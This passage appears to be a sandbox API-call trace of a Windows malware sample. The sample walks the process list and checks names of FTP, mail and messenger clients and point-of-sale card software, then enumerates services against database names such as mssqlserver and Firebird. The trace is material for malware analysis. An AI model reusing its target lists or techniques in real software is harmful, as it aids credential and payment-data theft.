latin.exe") returned 17 [0035.790] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0035.790] lstrlenW (lpString="barbados.exe") returned 12 [0035.790] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0035.791] lstrlenW (lpString="otthose.exe") returned 11 [0035.791] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0035.791] lstrlenW (lpString="suburban.exe") returned 12 [0035.791] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0035.792] lstrlenW (lpString="examination.exe") returned 15 [0035.792] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0035.792] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0035.792] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0035.793] lstrlenW (lpString="madrid.exe") returned 10 [0035.793] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0035.793] lstrlenW (lpString="measurerush.exe") returned 15 [0035.793] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0035.794] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0035.794] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0035.795] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0035.795] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0035.795] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0035.795] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0035.796] lstrlenW (lpString="jessefun.exe") returned 12 [0035.796] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0035.797] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0035.797] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0035.797] lstrlenW (lpString="sellers.exe") returned 11 [0035.797] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0035.798] lstrlenW (lpString="gras hair.exe") returned 13 [0035.798] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0035.799] lstrlenW (lpString="acquisitions.exe") returned 16 [0035.799] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0035.799] lstrlenW (lpString="starscondos.exe") returned 15 [0035.800] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0035.800] lstrlenW (lpString="3dftp.exe") returned 9 [0035.800] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0035.801] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0035.801] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0035.802] lstrlenW (lpString="alftp.exe") returned 9 [0035.802] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0035.802] lstrlenW (lpString="barca.exe") returned 9 [0035.802] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0035.803] lstrlenW (lpString="bitkinex.exe") returned 12 [0035.803] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0035.803] lstrlenW (lpString="coreftp.exe") returned 11 [0035.803] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0035.804] lstrlenW (lpString="far.exe") returned 7 [0035.804] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0035.807] lstrlenW (lpString="filezilla.exe") returned 13 [0035.807] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0035.808] lstrlenW (lpString="flashfxp.exe") returned 12 [0035.808] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0035.808] lstrlenW (lpString="fling.exe") returned 9 [0035.808] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0035.809] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0035.809] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0035.810] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0035.810] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0035.811] lstrlenW (lpString="icq.exe") returned 7 [0035.811] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0035.811] lstrlenW (lpString="leechftp.exe") returned 12 [0035.811] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0035.812] lstrlenW (lpString="ncftp.exe") returned 9 [0035.812] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0035.813] lstrlenW (lpString="notepad.exe") returned 11 [0035.813] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0035.814] lstrlenW (lpString="operamail.exe") returned 13 [0035.814] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0035.815] lstrlenW (lpString="pidgin.exe") returned 10 [0035.815] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0035.815] lstrlenW (lpString="scriptftp.exe") returned 13 [0035.815] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0035.816] lstrlenW (lpString="skype.exe") returned 9 [0035.816] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0035.817] lstrlenW (lpString="smartftp.exe") returned 12 [0035.817] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0035.818] lstrlenW (lpString="thunderbird.exe") returned 15 [0035.818] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0035.818] lstrlenW (lpString="totalcmd.exe") returned 12 [0035.818] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0035.819] lstrlenW (lpString="trillian.exe") returned 12 [0035.819] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0035.821] lstrlenW (lpString="webdrive.exe") returned 12 [0035.821] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0035.821] lstrlenW (lpString="whatsapp.exe") returned 12 [0035.821] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0035.822] lstrlenW (lpString="winscp.exe") returned 10 [0035.822] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0035.823] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0035.823] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0035.824] lstrlenW (lpString="active-charge.exe") returned 17 [0035.824] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0035.825] lstrlenW (lpString="accupos.exe") returned 11 [0035.825] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0035.825] lstrlenW (lpString="afr38.exe") returned 9 [0035.825] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0035.826] lstrlenW (lpString="aldelo.exe") returned 10 [0035.826] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0035.827] lstrlenW (lpString="ccv_server.exe") returned 14 [0035.827] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0035.828] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0035.828] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0035.828] lstrlenW (lpString="creditservice.exe") returned 17 [0035.828] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0035.829] lstrlenW (lpString="edcsvr.exe") returned 10 [0035.829] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0035.830] lstrlenW (lpString="fpos.exe") returned 8 [0035.830] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0035.830] lstrlenW (lpString="isspos.exe") returned 10 [0035.830] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0035.831] lstrlenW (lpString="mxslipstream.exe") returned 16 [0035.831] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0035.832] lstrlenW (lpString="omnipos.exe") returned 11 [0035.832] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0035.832] lstrlenW (lpString="spcwin.exe") returned 10 [0035.832] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0035.833] lstrlenW (lpString="spgagentservice.exe") returned 19 [0035.833] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0035.833] lstrlenW (lpString="utg2.exe") returned 8 [0035.833] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0035.834] lstrlenW (lpString="burner.exe") returned 10 [0035.834] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0035.835] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0035.835] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0035.835] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0035.849] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0035.850] lstrlenW (lpString="dllhost.exe") returned 11 [0035.850] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0035.850] lstrlenW (lpString="dllhost.exe") returned 11 [0035.850] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0035.851] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0035.851] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0035.851] lstrlenW (lpString="cmd.exe") returned 7 [0035.851] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0035.852] CloseHandle (hObject=0x118) returned 1 [0035.852] Sleep (dwMilliseconds=0x1f4) [0037.024] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59fac8 [0037.025] EnumServicesStatusExW (in: hSCManager=0x59fac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0037.025] GetLastError () returned 0xea [0037.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x134c) returned 0x37f06f0 [0037.025] EnumServicesStatusExW (in: hSCManager=0x59fac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37f06f0, cbBufSize=0x134c, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37f06f0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0037.026] CloseServiceHandle (hSCObject=0x59fac8) returned 1 [0037.026] lstrlenW (lpString="Appinfo") returned 7 [0037.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0037.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0037.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0037.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0037.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0037.026] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0037.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0037.026] lstrcmpiW 